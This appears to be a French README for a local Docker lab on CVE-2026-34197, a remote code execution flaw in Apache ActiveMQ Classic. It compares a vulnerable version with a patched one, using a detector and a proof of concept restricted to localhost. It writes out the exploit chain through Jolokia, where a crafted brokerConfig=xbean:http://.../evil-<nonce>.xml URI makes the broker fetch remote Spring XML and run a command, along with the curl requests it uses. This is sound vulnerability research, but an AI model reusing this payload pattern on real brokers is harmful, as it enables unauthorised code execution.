
# Docker lab démontrant CVE-2026-34197, une RCE Apache ActiveMQ Classic via Jolokia. Inclut un détecteur sûr et un PoC local uniquement avec commande fixe, comparant les versions vulnérables et corrigées.
Ce dépôt est un laboratoire Docker local pour étudier CVE-2026-34197, un problème d'exécution de code à distance dans Apache ActiveMQ Classic accessible via l'API Jolokia JMX-HTTP.
Le laboratoire compare deux instances ActiveMQ Classic côte à côte :
| Service | Version | Objectif | URL |
|---|
vuln | 5.19.3 | Cible vulnérable | http://127.0.0.1:8081 |
patched | 5.19.4 | Cible de comparaison corrigée | http://127.0.0.1:8082 |
Le dépôt contient deux scripts de preuve :
| Script | Objectif | Modèle de sécurité |
|---|---|---|
poc/detect.py | Détecteur autorisé | HTTP uniquement ; n'exploite pas |
poc/poc.py | Preuve de chemin RCE local uniquement | Commande fixe uniquement : id; whoami; sleep 5 |
Les preuves d'exécution sont vérifiées séparément par l'opérateur à l'aide d'outils d'observation des processus tels que strace.
CVE-2026-34197 affecte les versions d'Apache ActiveMQ Classic où un utilisateur authentifié peut utiliser l'API Jolokia pour invoquer des opérations de gestion du broker et amener la JVM du broker à charger du Spring XML contrôlé par l'attaquant via une URI brokerConfig=xbean:http://... spécialement conçue.
Le flux vulnérable démontré dans ce laboratoire est :
Jolokia /api/jolokia/
-> Opération MBean du broker
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> Récupération distante du Spring XML
-> Initialisation du bean ProcessBuilder
-> Commande de preuve locale fixe
Le service corrigé bloque ce chemin avant la récupération du XML et renvoie une erreur similaire à :
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml exécute les services ActiveMQ vulnérable et corrigé.vuln/Dockerfile construit Apache ActiveMQ Classic 5.19.3.patched/Dockerfile construit Apache ActiveMQ Classic 5.19.4.poc/detect.py vérifie l'exposition Jolokia, la version d'ActiveMQ et la visibilité du MBean Broker.poc/poc.py déclenche le chemin RCE local uniquement à l'aide d'une commande bénigne fixe.images/strace.png contient les preuves locales d'observation des processus du service vulnérable..gitignore exclut les artefacts locaux, les fichiers de cache Python, les environnements virtuels, les journaux et les secrets.Ce dépôt est destiné uniquement à une utilisation en laboratoire local et à une validation de sécurité autorisée.
La preuve de concept est délibérément limitée :
id; whoami; sleep 5.strace.Cibles locales autorisées pour poc.py :
127.0.0.1
localhost
::1
N'utilisez pas ce dépôt contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
docker compose down -v
docker compose build
docker compose up -d
Vérifier l'état des services :
docker compose ps
Services attendus :
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
Vérifier le service vulnérable :
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
Vérifier le service corrigé :
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
Versions attendues :
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py est le script par défaut sûr. Il n'exploite pas la cible.
Il vérifie :
/api/jolokia/version est accessible ;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
Résultat attendu :
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
Le détecteur marque une cible comme LIKELY_VULNERABLE lorsque :
Jolokia est accessible
+
La version d'ActiveMQ se situe dans une plage affectée
Plages affectées utilisées par ce laboratoire :
5.x < 5.19.4
6.x < 6.2.3
La visibilité du MBean Broker est utilisée comme preuve de confiance car le chemin d'exploitation repose sur les opérations de gestion du broker.
Le détecteur ne prétend pas à CONFIRMED_RCE.
poc/poc.py démontre le chemin RCE dans le laboratoire Docker local.
Il démarre un serveur HTTP temporaire sur l'hôte et sert une charge utile Spring XML à un chemin unique par exécution :
/evil-<nonce>.xml
Il invoque ensuite le MBean Broker ActiveMQ via Jolokia :
addNetworkConnector(java.lang.String)
avec une URI de découverte spécialement conçue :
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
Le broker vulnérable récupère ce XML. Le broker corrigé bloque le schéma de transport vm:// avant la récupération du XML.
Après une exécution vulnérable, le NetworkConnector créé peut réessayer de récupérer l'ancien chemin XML. Le script utilise un nonce unique par exécution et suit matches_current_run pour éviter les faux positifs.
Un succès n'est compté pour l'exécution actuelle que s'il correspond à :
/evil-<nonce-actuel>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Sortie attendue :
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
Cela confirme qu'ActiveMQ 5.19.3 peut être amené à récupérer du Spring XML contrôlé par l'attaquant via le chemin du broker géré par Jolokia.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
Sortie attendue :
VM scheme is not allowed
[-] No XML fetch observed for this run.
Si des succès d'une ancienne exécution vulnérable apparaissent, ils doivent afficher :
"matches_current_run": false
Ceux-ci ne sont pas comptés comme un succès du service corrigé.
Le script de preuve de concept ne collecte pas la sortie des commandes. Pour confirmer l'exécution de commandes, observez la création de processus à l'intérieur du conteneur vulnérable.
Entrez dans le conteneur vulnérable en tant que root :
docker exec -it --user root cve-2026-34197-vuln bash
Trouvez le processus Java :
pgrep -af java
Attachez strace au PID Java :
strace -f -e execve -p <JAVA_PID>
Dans un autre terminal, exécutez la preuve de concept contre le service vulnérable :
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Preuve strace attendue :
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
C'est la preuve au niveau du système d'exploitation que la commande de preuve fixe a été exécutée par la JVM du broker.

La preuve de concept tente de supprimer le nom de NetworkConnector par défaut NC avant le déclenchement. Cela maintient les exécutions répétées du laboratoire prévisibles.
Nettoyage manuel :
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
Ou redémarrez le laboratoire :
docker compose restart vuln patched
| Test | Vulnérable 5.19.3 | Corrigé 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Accès Jolokia | Accessible avec authentification | Accessible avec authentification |
| MBean Broker | Visible | Visible |
Récupération XML poc.py | Oui | Non |
| Signature de blocage corrigée | N/A | VM scheme is not allowed |
| Preuve de commande strace | /bin/sh -c 'id; whoami; sleep 5' | Non attendue |